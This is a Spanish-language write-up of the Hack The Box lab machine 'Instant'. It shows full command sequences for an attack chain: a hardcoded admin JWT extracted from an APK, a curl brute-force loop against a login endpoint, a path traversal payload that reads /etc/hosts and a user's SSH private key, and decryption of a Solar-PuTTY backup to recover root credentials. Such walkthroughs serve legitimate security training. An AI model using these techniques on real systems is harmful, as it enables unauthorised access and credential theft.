Descripción

Instant es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Filtración del token JWT del Administrador en el código fuente de un paquete de una aplicación de Android
  • Enumeración de subdominios en la configuración de red XML de un paquete de una aplicación de Android
  • Enumeración de la API utilizando un subdominio que proporciona la documentación de la aplicación
  • Fuerza Bruta al punto final de inicio de sesión para recuperar la contraseña débil de un usuario de la API
  • Vulnerabilidad de cruce de directorios en un punto final de la API que permite leer una clave privada de SSH de un usuario
  • Escalada de privilegios mediante el descifrado de una copia de seguridad de la aplicación Solar-Putty utilizando una contraseña previamente obtenida.️

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.132.27.

$ ping -c 3 10.129.132.27
PING 10.129.132.27 (10.129.132.27) 56(84) bytes of data.
64 bytes from 10.129.132.27: icmp_seq=1 ttl=63 time=43.6 ms
64 bytes from 10.129.132.27: icmp_seq=2 ttl=63 time=43.9 ms
64 bytes from 10.129.132.27: icmp_seq=3 ttl=63 time=44.5 ms

--- 10.129.132.27 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.612/44.015/44.527/0.381 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.132.27 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.132.27
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.02 seconds

Obtenemos dos puertos abiertos: 22 y 80.️

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.132.27 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.132.27
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds

Encontramos dos servicios: un Secure Shell (SSH) y otro Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Podemos ver que el servicio HTTP se redirecciona a instant.htb. Por lo tanto, agregamos esta dirección a la archivo /etc/hosts.

$ echo "10.129.132.27 instant.htb" | sudo tee -a /etc/hosts

Encontramos una página web que ofrece la descarga de una aplicación financiera para Android (http://instant.htb/downloads/instant.apk). Descargamos el archivo APK y utilizamos la herramienta JADX para revisar su código fuente.️

$ wget http://instant.htb/downloads/instant.apk
$ sudo apt install jadx -y
$ jadx-gui $PWD/instant.apk

Encontramos un punto de conexión de la API (http://mywalletv1.instant.htb/api/v1/view/profile) y un token JWT (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA) en la clase AdminActivities (`instant.apk > Código Fuente > com > instantlabs.instant > AdminActivities).

public class AdminActivities {
    private String TestAdminAuthorization() {
        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
            static final /* synthetic */ boolean $assertionsDisabled = false;
...

También encontramos dos subdominios del dominio instant.htb en el archivo network_security_config.xml (instant.apk > Resources > res > xml > network_security_config.xml), mywalletv1.instant.htb y swagger-ui.instant.htb.

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb
        </domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb
        </domain>
    </domain-config>
</network-security-config>

Los agregamos a nuestro archivo hosts.️

$ echo "10.129.132.27 mywalletv1.instant.htb" | sudo tee -a /etc/hosts
$ echo "10.129.132.27 swagger-ui.instant.htb" | sudo tee -a /etc/hosts

Podemos comprobar si podemos utilizar el token JWT para acceder al enlace mencionado anteriormente.️

$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/view/profile' | jq

{
  "Profile": {
    "account_status": "active",
    "email": "admin@instant.htb",
    "invite_token": "instant_admin_inv",
    "role": "Admin",
    "username": "instantAdmin",
    "wallet_balance": "10000000",
    "wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
  },
  "Status": 200
}

Tenemos la capacidad de utilizar la sesión del usuario admin en la API. Vamos a enumerar el subdominio Swagger para la documentación de la API. Encontramos los siguientes puntos finales de la API en la página web http://swagger-ui.instant.htb/apidocs/.️

/api/v1/admin/add/user
/api/v1/admin/list/users
/api/v1/login
/api/v1/register
/api/v1/view/profile
/api/v1/admin/read/log
/api/v1/admin/view/logs
/api/v1/confirm/pin
/api/v1/initiate/transaction
/api/v1/view/transactions

Podemos empezar con el punto de conexión /api/v1/admin/list/users para comprobar los usuarios registrados en la aplicación.️

$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/list/users' | jq

{
  "Status": 200,
  "Users": [
    {
      "email": "admin@instant.htb",
      "role": "Admin",
      "secret_pin": 87348,
      "status": "active",
      "username": "instantAdmin",
      "wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
    },
    {
      "email": "shirohige@instant.htb",
      "role": "instantian",
      "secret_pin": 42845,
      "status": "active",
      "username": "shirohige",
      "wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
    }
  ]
}

Encontramos al usuario shirohige. Vamos a realizar un ataque por fuerza bruta en el punto de conexión /api/v1/login para intentar recuperar su contraseña.️

$ for pass in $(cat /usr/share/wordlists/metasploit/unix_passwords.txt); do echo $pass && curl -X POST "http://swagger-ui.instant.htb/api/v1/login" -H  "accept: application/json" -H  "Content-Type: application/json" -d "{  \"password\": \"$pass\",  \"username\": \"shirohige\"}"; done
admin
{"Description":"Wrong Password / Username","Status":403}
123456
{"Description":"Wrong Password / Username","Status":403}
12345
...
estrella
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjQ1ODcxNWM5LWIxNWUtNDY3Yi04YTNkLTk3YmMzZmNmM2MxMSIsImV4cCI6MTcyODc5NjY3Mn0.zcXOdzUJlzqIXJH5Xylf5goy_vZvbPnSVLboTOSDlRg","Status":201}

Encontramos su contraseña, estrella, y obtenemos el JWT de la sesión. Enumerando los otros puntos finales, encontramos que podemos listar los archivos de registro utilizando /api/v1/admin/view/logs y el token de admin.️

$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/view/logs' | jq

{
  "Files": [
    "1.log"
  ],
  "Path": "/home/shirohige/logs/",
  "Status": 201
}

Encontramos que existe un registro con el nombre de archivo 1.log y la ruta /home/shirohige/logs/. Podemos utilizar los puntos finales de API /api/v1/admin/read/log y el parámetro de consulta log_file_name para leer el archivo.️

curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=1.log' | jq

{
  "/home/shirohige/logs/1.log": [
    "This is a sample log testing\n"
  ],
  "Status": 201
}

Explotación

La ruta de acceso /api/v1/admin/read/log está expuesta a un ataque de cruce de directorios, lo que nos permite leer archivos sensibles, como el archivo hosts del equipo con ../../../../../etc/hosts.️

$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../etc/hosts' --path-as-is | jq
{
  "/home/shirohige/logs/../../../../../etc/hosts": [
    "127.0.0.1 localhost instant.htb mywalletv1.instant.htb swagger-ui.instant.htb\n",
    "127.0.1.1 instant\n",
    "\n",
    "# The following lines are desirable for IPv6 capable hosts\n",
    "::1     ip6-localhost ip6-loopback\n",
    "fe00::0 ip6-localnet\n",
    "ff00::0 ip6-mcastprefix\n",
    "ff02::1 ip6-allnodes\n",
    "ff02::2 ip6-allrouters\n"
  ],
  "Status": 201
}

Podemos recuperar la clave SSH privada del usuario shirohige.️

$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../home/shirohige/.ssh/id_rsa' --path-as-is | jq

{
  "/home/shirohige/logs/../../../../../home/shirohige/.ssh/id_rsa": [
    "-----BEGIN RSA PRIVATE KEY-----\n",
    ...
    "OvhkZuRBNpJ3PLmygGmf3rsAfFHSSRF1YmZyRgx97/sl6kl1v4s=\n",
    "-----END RSA PRIVATE KEY-----\n"
  ],
  "Status": 201
}

Luego podemos utilizar la clave para iniciar sesión como el usuario shirohige utilizando la clave privada.️

$ chmod 600 shirohige_key
$ ssh -i shirohige_key shirohige@instant.htb
shirohige@instant:~$ id
uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)

Post-Explotación️

En el directorio /opt/backups/Solar-PuTTY, encontramos el archivo sessions-backup.dat. Como sugiere el nombre, este es el archivo de respaldo del almacén de sesiones de la aplicación Solar-PuTTY, que contiene credenciales. Encontramos un proyecto de Windows que nos permite recuperar los contenidos de la sesión teniendo una contraseña, SolarPuttyDecrypt, creado por VoidSec. Vamos a descargar el proyecto y ejecutarlo en nuestra máquina Linux utilizando Wine. Necesitamos instalar la dependencia dotnet45 usando la herramienta winetricks.️

$ wget https://github.com/VoidSec/SolarPuttyDecrypt/releases/download/v1.0/SolarPuttyDecrypt_v1.zip
$ unzip SolarPuttyDecrypt_v1.zip
$ winetricks dotnet45

Para la contraseña, vamos a utilizar estrella, la contraseña que recuperamos previamente.️

$ wine SolarPuttyDecrypt.exe ../sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12",
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

Encontramos la contraseña para el usuario root, 12**24nzC!r0c%q12. Podemos iniciar sesión simplemente usando su. Obtenemos la sesión como el usuario root.️

shirohige@instant:~$ su root
Password: 
root@instant:/home/shirohige# id
uid=0(root) gid=0(root) groups=0(root)

Flags

Con la terminal de root, podemos obtener las flags de usuario y administrador.️

root@instant:/home/shirohige# cat /home/shirohige/user.txt 
<REDACTED>
root@instant:/home/shirohige# cat /root/root.txt 
<REDACTED>